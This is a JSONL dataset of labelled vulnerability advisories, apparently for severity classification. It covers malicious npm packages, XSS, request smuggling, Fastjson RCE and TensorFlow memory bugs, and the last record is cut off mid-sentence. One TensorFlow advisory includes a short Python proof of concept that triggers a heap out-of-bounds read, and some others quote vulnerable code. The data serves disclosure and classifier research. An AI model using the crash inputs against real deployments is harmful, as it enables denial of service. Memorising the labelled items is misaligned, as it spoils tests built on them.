-{"id": "836a21966464aa12277e", "text": "Malicious Package in bs85check\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bs85check\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "6cd7da946cbb23887dba", "text": "Downloads Resources over HTTP in pm2-kafka\n\nAffected versions of `pm2-kafka` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pm2-kafka`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in pm2-kafka\n\n[Severity: HIGH]\n\nAffected versions of `pm2-kafka` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `pm2-kafka`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a2907059473bd7ad3d67", "text": "V-SOL GPON/EPON OLT Platform v2.03 Unauthenticated Configuration Download", "text_raw": "V-SOL GPON/EPON OLT Platform v2.03 Unauthenticated Configuration Download\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-09-26", "split": "train"}
-{"id": "ddf6ce5441ca941c3fb3", "text": "Cross-site Scripting in actionpack\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/form_options_helper.rb` in the select helper in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving certain generation of OPTION elements within SELECT elements.", "text_raw": "Cross-site Scripting in actionpack\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `actionpack/lib/action_view/helpers/form_options_helper.rb` in the select helper in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving certain generation of OPTION elements within SELECT elements.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8d63fd3931de8d5d4e78", "text": "Go JOSE Signature Validation Bypass\n\nGo JOSE before 1.1.0 suffers from multiple signatures exploitation. The go-jose library supports messages with multiple signatures. However, when validating a signed message the API did not indicate which signature was valid, which could potentially lead to confusion. For example, users of the library might mistakenly read protected header values from an attached signature that was different from the one originally validated", "text_raw": "Go JOSE Signature Validation Bypass\n\n[Severity: HIGH]\n\nGo JOSE before 1.1.0 suffers from multiple signatures exploitation. The go-jose library supports messages with multiple signatures. However, when validating a signed message the API did not indicate which signature was valid, which could potentially lead to confusion. For example, users of the library might mistakenly read protected header values from an attached signature that was different from the one originally validated", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "c77ae967d9a14ba6bd44", "text": "Eibiz i-Media Server Digital Signage 3.8.0 Configuration Disclosure", "text_raw": "Eibiz i-Media Server Digital Signage 3.8.0 Configuration Disclosure\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-08-21", "split": "train"}
-{"id": "4fd3d6918f1b4caa77b9", "text": "Cross-Site Scripting (XSS) in pivottable\n\nAffected versions of `pivottable` are vulnerable to cross-site scripting, due to a new mechanism used to render JSON elements.\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "text_raw": "Cross-Site Scripting (XSS) in pivottable\n\n[Severity: HIGH]\n\nAffected versions of `pivottable` are vulnerable to cross-site scripting, due to a new mechanism used to render JSON elements.\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "dd1474b9f1ec9ecec00d", "text": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nApache Struts Jakarta Multipart parser allows for malicious file upload using the Content-Type value, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Struts Remote Code Execution Vulnerability\n\nAffected: Apache Struts\n\nApache Struts Jakarta Multipart parser allows for malicious file upload using the Content-Type value, leading to remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "eb300e9590094e423bd1", "text": "meterN v1.2.3 Authenticated Remote Command Execution Vulnerability", "text_raw": "meterN v1.2.3 Authenticated Remote Command Execution Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-12-13", "split": "train"}
-{"id": "3b856194da7a6e42a4f8", "text": "Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability", "text_raw": "Orthanc DICOM Server 1.1.0 Remote Memory Corruption Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "b148d840abd9118dbaad", "text": "Improper Input Validation in alilibaba:fastjson\n\nparseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi:// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.", "text_raw": "Improper Input Validation in alilibaba:fastjson\n\n[Severity: CRITICAL]\n\nparseObject in Fastjson before 1.2.25, as used in FastjsonEngine in Pippo 1.11.0 and other products, allows remote attackers to execute arbitrary code via a crafted JSON request, as demonstrated by a crafted rmi:// URI in the dataSourceName field of HTTP POST data to the Pippo /json URI, which is mishandled in AjaxApplication.java.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-24", "split": "train"}
-{"id": "4000d1a6e0007d1f064d", "text": "iScripts EasyCreate 3.0 Remote Code Execution Exploit", "text_raw": "iScripts EasyCreate 3.0 Remote Code Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-01-28", "split": "train"}
-{"id": "1a19aa0252fdb98d1012", "text": "libsecp256k1 contains side-channel timing attack\n\nVersions of libsecp256k1 prior to 0.3.1 did not execute `Scalar::check_overflow` in constant time. This allows an attacker to potentially leak information via a timing attack. The flaw was corrected by modifying `Scalar::check_overflow` to execute in constant time.", "text_raw": "libsecp256k1 contains side-channel timing attack\n\n[Severity: HIGH]\n\nVersions of libsecp256k1 prior to 0.3.1 did not execute `Scalar::check_overflow` in constant time. This allows an attacker to potentially leak information via a timing attack. The flaw was corrected by modifying `Scalar::check_overflow` to execute in constant time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b912162f65548ec06c2a", "text": "Possible Open Redirect Vulnerability in Action Pack\n\nThere is a possible Open Redirect Vulnerability in Action Pack.\n\nVersions Affected:  >= v6.1.0.rc2\nNot affected:       < v6.1.0.rc2\nFixed Versions:     6.1.3.2\n\nImpact\n------\nThis is similar to CVE-2021-22881. Specially crafted Host headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious\nwebsite.\n\nSince rails/rails@9bc7ea5, strings in config.hosts that do not have a leading dot are converted to regular expressions without proper escaping. This causes, for example, config.hosts << \"sub.example.com\" to permit a request with a Host header value of sub-example.com.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch put in an initializer can be used as a workaround.\n\n```ruby\nclass ActionDispatch::HostAuthorization::Permissions\n  def sanitize_string(host)\n    if host.start_with?(\".\")\n      /\\A(.+\\.)?#{Regexp.escape(host[1..-1])}\\z/i\n    else\n      /\\A#{Regexp.escape host}\\z/i\n    end\n  end\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-1-open-redirect.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks Jonathan Hefner (https://hackerone.com/jonathanhefner) for reporting this bug!", "text_raw": "Possible Open Redirect Vulnerability in Action Pack\n\n[Severity: MEDIUM]\n\nThere is a possible Open Redirect Vulnerability in Action Pack.\n\nVersions Affected:  >= v6.1.0.rc2\nNot affected:       < v6.1.0.rc2\nFixed Versions:     6.1.3.2\n\nImpact\n------\nThis is similar to CVE-2021-22881. Specially crafted Host headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious\nwebsite.\n\nSince rails/rails@9bc7ea5, strings in config.hosts that do not have a leading dot are converted to regular expressions without proper escaping. This causes, for example, config.hosts << \"sub.example.com\" to permit a request with a Host header value of sub-example.com.\n\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch put in an initializer can be used as a workaround.\n\n```ruby\nclass ActionDispatch::HostAuthorization::Permissions\n  def sanitize_string(host)\n    if host.start_with?(\".\")\n      /\\A(.+\\.)?#{Regexp.escape(host[1..-1])}\\z/i\n    else\n      /\\A#{Regexp.escape host}\\z/i\n    end\n  end\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 6-1-open-redirect.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks Jonathan Hefner (https://hackerone.com/jonathanhefner) for reporting this bug!", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-05", "split": "train"}
-{"id": "8a7eed701ba10ca10c2c", "text": "Server-Side Request Forgery vulnerability in concrete5\n\nA Server-Side Request Forgery vulnerability was found in concrete5 < 8.5.5 that allowed a decimal notation encoded IP address to bypass the limitations in place for localhost allowing interaction with local services. Impact can vary depending on services exposed.", "text_raw": "Server-Side Request Forgery vulnerability in concrete5\n\n[Severity: HIGH]\n\nA Server-Side Request Forgery vulnerability was found in concrete5 < 8.5.5 that allowed a decimal notation encoded IP address to bypass the limitations in place for localhost allowing interaction with local services. Impact can vary depending on services exposed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "f572943f9bfb6b3ef2f2", "text": "No Restriction of Excessive Authentication Attempts in Firefly III\n\nfirefly-iii is vulnerable to Improper Lack of Restriction of Excessive Authentication Attempts", "text_raw": " No Restriction of Excessive Authentication Attempts in Firefly III\n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to Improper Lack of Restriction of Excessive Authentication Attempts", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "2e38637c461a3c2e8fa3", "text": "Unitialized access in `EinsumHelper::ParseEquation`\n\n### Impact\nDuring execution, [`EinsumHelper::ParseEquation()`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/linalg/einsum_op_impl.h#L126-L181) is supposed to set the flags in `input_has_ellipsis` vector and `*output_has_ellipsis` boolean to indicate whether there is ellipsis in the corresponding inputs and output.\n\nHowever, the code only changes these flags to `true` and never assigns `false`.\n\n```cc\nfor (int i = 0; i < num_inputs; ++i) {\n  input_label_counts->at(i).resize(num_labels);\n  for (const int label : input_labels->at(i)) {\n    if (label != kEllipsisLabel)\n      input_label_counts->at(i)[label] += 1;\n    else\n      input_has_ellipsis->at(i) = true;\n  }\n}\noutput_label_counts->resize(num_labels);\nfor (const int label : *output_labels) {\n  if (label != kEllipsisLabel)\n    output_label_counts->at(label) += 1;\n  else\n    *output_has_ellipsis = true;\n}\n```\n\nThis results in unitialized variable access if callers assume that `EinsumHelper::ParseEquation()` always sets these flags.\n\n### Patches\nWe have patched the issue in GitHub commit [f09caa532b6e1ac8d2aa61b7832c78c5b79300c6](https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Unitialized access in `EinsumHelper::ParseEquation`\n\n[Severity: HIGH]\n\n### Impact\nDuring execution, [`EinsumHelper::ParseEquation()`](https://github.com/tensorflow/tensorflow/blob/e0b6e58c328059829c3eb968136f17aa72b6c876/tensorflow/core/kernels/linalg/einsum_op_impl.h#L126-L181) is supposed to set the flags in `input_has_ellipsis` vector and `*output_has_ellipsis` boolean to indicate whether there is ellipsis in the corresponding inputs and output.\n\nHowever, the code only changes these flags to `true` and never assigns `false`.\n\n```cc\nfor (int i = 0; i < num_inputs; ++i) {\n  input_label_counts->at(i).resize(num_labels);\n  for (const int label : input_labels->at(i)) {\n    if (label != kEllipsisLabel)\n      input_label_counts->at(i)[label] += 1;\n    else\n      input_has_ellipsis->at(i) = true;\n  }\n}\noutput_label_counts->resize(num_labels);\nfor (const int label : *output_labels) {\n  if (label != kEllipsisLabel)\n    output_label_counts->at(label) += 1;\n  else\n    *output_has_ellipsis = true;\n}\n```\n\nThis results in unitialized variable access if callers assume that `EinsumHelper::ParseEquation()` always sets these flags.\n\n\n### Patches\nWe have patched the issue in GitHub commit [f09caa532b6e1ac8d2aa61b7832c78c5b79300c6](https://github.com/tensorflow/tensorflow/commit/f09caa532b6e1ac8d2aa61b7832c78c5b79300c6).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "18aca1e5a9a4dc9f7e93", "text": "Use After Free in lucet\n\n### Impact\nThere is a bug in the main branch of Lucet's `lucet-runtime` that allows a use-after-free in an `Instance` object that could result in memory corruption, data race, or other related issues.  This bug was introduced early in the development of Lucet and is present in all releases.  As a result of this bug, and dependent on the memory backing for the `Instance` objects, it is possible to trigger a use-after-free when the `Instance` is dropped.\n\n### Patches\nUsers should upgrade to the `main` branch of the Lucet repository. Lucet does not provide versioned releases on crates.io.\n\n### Workarounds\nThere is no way to remediate this vulnerability without upgrading.\n\n### Description\nLucet uses a \"pool\" allocator for new WebAssembly instances that are created. This pool allocator manages everything from the linear memory of the wasm instance, the runtime stack for async switching, as well as the memory behind the Instance itself. `Instances` are referred to via an `InstanceHandle` type which will, on drop, release the memory backing the Instance back to the pool.\n\nWhen an Instance is dropped, the fields of the `Instance` are destructed top-to-bottom, however when the `alloc: Alloc` field is destructed, the memory backing the `Instance` is released back to the pool before the destructors of the remaining fields are run. If another thread allocates the same memory from the pool while these destructors are still running, a race condition occurs that can lead to use-after-free errors.\n\nThe bug was corrected by changing how the `InstanceHandle` destructor operates to ensure that the memory backing an Instance is only returned to the pool once the `Instance` has been completely destroyed.\n\nThis security advisory has been assigned CVE-2021-43790.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [lucet repository](https://github.com/bytecodealliance/lucet)\n* Email [the lucet team](mailto:lucet@fastly.com)\n* See the [Bytecode Alliance security policy](https://bytecodealliance.org/security)", "text_raw": "Use After Free in lucet\n\n[Severity: HIGH]\n\n### Impact\nThere is a bug in the main branch of Lucet's `lucet-runtime` that allows a use-after-free in an `Instance` object that could result in memory corruption, data race, or other related issues.  This bug was introduced early in the development of Lucet and is present in all releases.  As a result of this bug, and dependent on the memory backing for the `Instance` objects, it is possible to trigger a use-after-free when the `Instance` is dropped.\n\n### Patches\nUsers should upgrade to the `main` branch of the Lucet repository. Lucet does not provide versioned releases on crates.io.\n\n### Workarounds\nThere is no way to remediate this vulnerability without upgrading.\n\n### Description\nLucet uses a \"pool\" allocator for new WebAssembly instances that are created. This pool allocator manages everything from the linear memory of the wasm instance, the runtime stack for async switching, as well as the memory behind the Instance itself. `Instances` are referred to via an `InstanceHandle` type which will, on drop, release the memory backing the Instance back to the pool.\n\nWhen an Instance is dropped, the fields of the `Instance` are destructed top-to-bottom, however when the `alloc: Alloc` field is destructed, the memory backing the `Instance` is released back to the pool before the destructors of the remaining fields are run. If another thread allocates the same memory from the pool while these destructors are still running, a race condition occurs that can lead to use-after-free errors.\n\nThe bug was corrected by changing how the `InstanceHandle` destructor operates to ensure that the memory backing an Instance is only returned to the pool once the `Instance` has been completely destroyed.\n\nThis security advisory has been assigned CVE-2021-43790.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [lucet repository](https://github.com/bytecodealliance/lucet)\n* Email [the lucet team](mailto:lucet@fastly.com)\n* See the [Bytecode Alliance security policy](https://bytecodealliance.org/security)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-30", "split": "train"}
-{"id": "19da8398ee5bd54f0dec", "text": "activesupport Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `activesupport/lib/active_support/core_ext/string/output_safety.r`b in Ruby on Rails 2.x before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary web script or HTML via a malformed Unicode string, related to a \"UTF-8 escaping vulnerability.\"", "text_raw": "activesupport Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `activesupport/lib/active_support/core_ext/string/output_safety.r`b in Ruby on Rails 2.x before 2.3.13, 3.0.x before 3.0.10, and 3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary web script or HTML via a malformed Unicode string, related to a \"UTF-8 escaping vulnerability.\"", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "c47ff477b43f01f92eb4", "text": "Heap OOB and CHECK fail in `ResourceGather`\n\n### Impact\nAn attacker can trigger a crash via a `CHECK`-fail in debug builds of TensorFlow using `tf.raw_ops.ResourceGather` or a read from outside the bounds of heap allocated data in the same API in a release build:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[1,2],[3,4],[5,6]],shape=(3,2),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=10,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668) does not check that the `batch_dims` value that the user supplies is less than the rank of the input tensor.\n\nSince the implementation uses several for loops over the dimensions of `tensor`, this results in reading data from outside the bounds of heap allocated buffer backing the tensor:\n\n```cc\n    // batch_dims_ = > params.dims() (10 > 2)\n    for (int i = 0; i < batch_dims_; ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n    for (int i = batch_dims_; i < indices.dims(); ++i) {\n      result_shape.AddDim(indices.dim_size(i));\n    }\n    for (int i = batch_dims_ + 1; i < params.dims(); ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n```\n\nIn debug mode, `.dim_size(i)` validates that the argument is less than `.dims()` using a `DCHECK`. But the `DCHECK` is a no-op in release builds.\n\n### Patches\nWe have patched the issue in GitHub commit [bc9c546ce7015c57c2f15c168b3d9201de679a1d](https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB and CHECK fail in `ResourceGather`\n\n[Severity: HIGH]\n\n### Impact\nAn attacker can trigger a crash via a `CHECK`-fail in debug builds of TensorFlow using `tf.raw_ops.ResourceGather` or a read from outside the bounds of heap allocated data in the same API in a release build:\n\n```python\nimport tensorflow as tf\n\ntensor = tf.constant(value=[[1,2],[3,4],[5,6]],shape=(3,2),dtype=tf.uint32)\nv = tf.Variable(tensor)\ntf.raw_ops.ResourceGather(\n  resource=v.handle,\n  indices=[0],\n  dtype=tf.uint32,\n  batch_dims=10,\n  validate_indices=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668) does not check that the `batch_dims` value that the user supplies is less than the rank of the input tensor.\n\nSince the implementation uses several for loops over the dimensions of `tensor`, this results in reading data from outside the bounds of heap allocated buffer backing the tensor:\n\n```cc\n    // batch_dims_ = > params.dims() (10 > 2)\n    for (int i = 0; i < batch_dims_; ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n    for (int i = batch_dims_; i < indices.dims(); ++i) {\n      result_shape.AddDim(indices.dim_size(i));\n    }\n    for (int i = batch_dims_ + 1; i < params.dims(); ++i) {\n      result_shape.AddDim(params.dim_size(i));\n    }\n```\n\nIn debug mode, `.dim_size(i)` validates that the argument is less than `.dims()` using a `DCHECK`. But the `DCHECK` is a no-op in release builds.\n\n### Patches\nWe have patched the issue in GitHub commit [bc9c546ce7015c57c2f15c168b3d9201de679a1d](https://github.com/tensorflow/tensorflow/commit/bc9c546ce7015c57c2f15c168b3d9201de679a1d).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8fad81dd31ae36bcbe80", "text": "Heap OOB in TFLite\n\n### Impact\nTFLite's [`expand_dims.cc`](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50) contains a vulnerability which allows reading one element outside of bounds of heap allocated data:\n\n```cc\n  if (axis < 0) { \n    axis = input_dims.size + 1 + axis;\n  }   \n  TF_LITE_ENSURE(context, axis <= input_dims.size);\n\nTfLiteIntArray* output_dims = TfLiteIntArrayCreate(input_dims.size + 1);\n  for (int i = 0; i < output_dims->size; ++i) {\n    if (i < axis) {\n      output_dims->data[i] = input_dims.data[i];\n    } else if (i == axis) {\n      output_dims->data[i] = 1;\n    } else {\n      output_dims->data[i] = input_dims.data[i - 1];\n    }\n  }\n```\n\nIf `axis` is a large negative value (e.g., `-100000`), then after the first `if` it would still be negative. The check following the `if` statement will pass and the `for` loop would read one element before the start of `input_dims.data` (when `i = 0`).\n\n### Patches\nWe have patched the issue in GitHub commit [d94ffe08a65400f898241c0374e9edc6fa8ed257](https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Heap OOB in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nTFLite's [`expand_dims.cc`](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50) contains a vulnerability which allows reading one element outside of bounds of heap allocated data:\n\n```cc\n  if (axis < 0) { \n    axis = input_dims.size + 1 + axis;\n  }   \n  TF_LITE_ENSURE(context, axis <= input_dims.size);\n\n  TfLiteIntArray* output_dims = TfLiteIntArrayCreate(input_dims.size + 1);\n  for (int i = 0; i < output_dims->size; ++i) {\n    if (i < axis) {\n      output_dims->data[i] = input_dims.data[i];\n    } else if (i == axis) {\n      output_dims->data[i] = 1;\n    } else {\n      output_dims->data[i] = input_dims.data[i - 1];\n    }\n  }\n```\n\nIf `axis` is a large negative value (e.g., `-100000`), then after the first `if` it would still be negative. The check following the `if` statement will pass and the `for` loop would read one element before the start of `input_dims.data` (when `i = 0`).\n\n### Patches\nWe have patched the issue in GitHub commit [d94ffe08a65400f898241c0374e9edc6fa8ed257](https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "aadd4d17e23d3d7fc462", "text": "Downloads Resources over HTTP in nw\n\nAffected versions of `nw` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nw`.\n\n## Recommendation\n\nUpdate to version 0.23.6-1 or later.", "text_raw": "Downloads Resources over HTTP in nw\n\n[Severity: HIGH]\n\nAffected versions of `nw` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `nw`.\n\n\n## Recommendation\n\nUpdate to version 0.23.6-1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "d3d4ac78bb104fe2f0a7", "text": "Jetty vulnerable to cache poisoning due to inconsistent HTTP request handling (HTTP Request Smuggling)\n\nEclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), contain an HTTP Request Smuggling Vulnerability that can result in cache poisoning.", "text_raw": "Jetty vulnerable to cache poisoning due to inconsistent HTTP request handling (HTTP Request Smuggling)\n\n[Severity: HIGH]\n\nEclipse Jetty, versions 9.2.x and older, 9.3.x (all configurations), and 9.4.x (non-default configuration with RFC2616 compliance enabled), contain an HTTP Request Smuggling Vulnerability that can result in cache poisoning.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "854e457d639eec1389fb", "text": "Improper input validation in Apache Santuario XML Security for Java\n\nIn version 2.0.3 Apache Santuario XML Security for Java, a caching mechanism was introduced to speed up creating new XML documents using a static pool of DocumentBuilders. However, if some untrusted code can register a malicious implementation with the thread context class loader first, then this implementation might be cached and re-used by Apache Santuario - XML Security for Java, leading to potential security flaws when validating signed documents, etc. The vulnerability affects Apache Santuario - XML Security for Java 2.0.x releases from 2.0.3 and all 2.1.x releases before 2.1.4.", "text_raw": "Improper input validation in Apache Santuario XML Security for Java\n\n[Severity: MEDIUM]\n\nIn version 2.0.3 Apache Santuario XML Security for Java, a caching mechanism was introduced to speed up creating new XML documents using a static pool of DocumentBuilders. However, if some untrusted code can register a malicious implementation with the thread context class loader first, then this implementation might be cached and re-used by Apache Santuario - XML Security for Java, leading to potential security flaws when validating signed documents, etc. The vulnerability affects Apache Santuario - XML Security for Java 2.0.x releases from 